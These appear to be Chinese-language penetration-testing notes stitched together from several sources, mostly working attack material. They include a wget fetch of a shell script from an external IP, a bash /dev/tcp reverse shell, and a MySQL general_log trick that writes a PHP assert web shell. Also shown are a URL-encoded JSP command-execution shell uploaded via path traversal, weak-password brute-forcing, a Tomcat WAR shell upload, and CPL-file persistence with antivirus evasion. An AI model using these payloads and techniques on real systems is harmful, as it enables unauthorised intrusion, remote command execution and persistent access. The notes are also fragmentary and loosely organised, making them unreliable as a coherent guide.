可以看出其他用户是没有高权限的，写入执行权限都没有，就不能在当前目录下写马；经尝试，bash反弹shell未能成功

system('wget -P /tmp/ http://180.76.xx.xx:8000/drinkwater.sh')

bash -i > /dev/tcp/127.0.0.1/2345bash -i：打开一个bash交互界面
>：重定向
/dev/tcp：调用建立一个socket连接
127.0.0.1：可以任意更改需要反弹到的IP地址
2345：反弹到的端口

上面的是一个典型的反弹shell的语句，但是这种不能实时地在攻击机输入，攻击机输出，只能在靶机输入东西，然后在攻击机看到

攻击机使用 nc -lvp 2200监听反弹回来地shell，然后等靶机输入东西后，攻击机才能获取到内容，攻击机不能传输命令

数据库后台权限getshell
通过爆破弱口令登录到后台

1. 查看数据库版本

在查看日志状态 off没有开启 保存路径在 *@#*@*#@.log
发现 网站是phpstudy搭建 所以网站的路径在D:\phpstudy\www\ 下

set global general_log='on';
SET global general_log_file='D:/phpStudy/WWW/shell.php';

.执行sql语句后 就会把记录保存在shell.php 里

执行sql语句后 就会把记录保存在shell.php 里
SELECT '<?php @assert($_REQUEST["123"]);?>';

使用菜刀连接
http://192.168.5.31/shell.php
密码: 123

burp抓包 构造
payload file_path=&dirs=%2F&res_path=res&file_name=../../static/jsp_shell.
jsp&file_content=%3C%25%0A+++
+if(%22p0desta%22.equals(request.getParameter(%22pwd%22)))%7B%0A++
++++++java.io.InputStream+in+
%3D+Runtime.getRuntime().exec(request.getParameter(%22i%22)).getIn
putStream()%3B%0A++++++++int+a+%3D+-1%3B%0A++++++++byte%5B%5D+b+
%3D+new+byte%5B2048%5D%3B%0A+++++++
+out.print(%22%3Cpre%3E%22)%3B%0A+++++++
+while((a%3Din.read(b))!%3D-1)%7B%0A+++++++++++
+out.println(new+String(b))%3B%0A++++++++%7D%0A+++++++
+out.print(%22%3C%2Fpre%3E%22)%3B%0A++++%7D%0A%25%3E

寻找后台地址 弱口令爆破 admin 123456 进入后台 找模板文件 发现是可以更改

登录后台
tomcat : tomcat
http://10.0.0.60:8080/manager/html/list

vulhub 搭建tomcat8 漏洞平台
cd vulhub/tomcat/tomcat8
docker-compose up -d

数据库漏洞利用redis获取权限
连接远程数据库 如何判断是否成功 输入命令有结果就说明连接成功

上传war 包 哥斯拉生成1.jsp 然后打包为 1.zip 然后更改后缀为 1.war
访问路径 为 xxxx/1/1.jsp
上传之后 就提示ok 然后还会多一个目录

巧用cpl文件进行权限维持和免杀|后渗透测试技巧

CPL文件，是Windows控制面板扩展项，CPL全拼为Control Panel Item
在system32目录下有一系列的cpl文件,分别对应着各种控制面板的子选项

1.双击或者win+r xxx.cpl
2.control <文件名>
3.rundll32 shell32.dll,Control_RunDLL <文件名>
注意：所有rundll32 shell32.dll,Control_RunDLL的命令均可用control替代，control.exe实质调用了rundll32.exe。打开后找不到control.exe进程，只能找到rundll32.exe。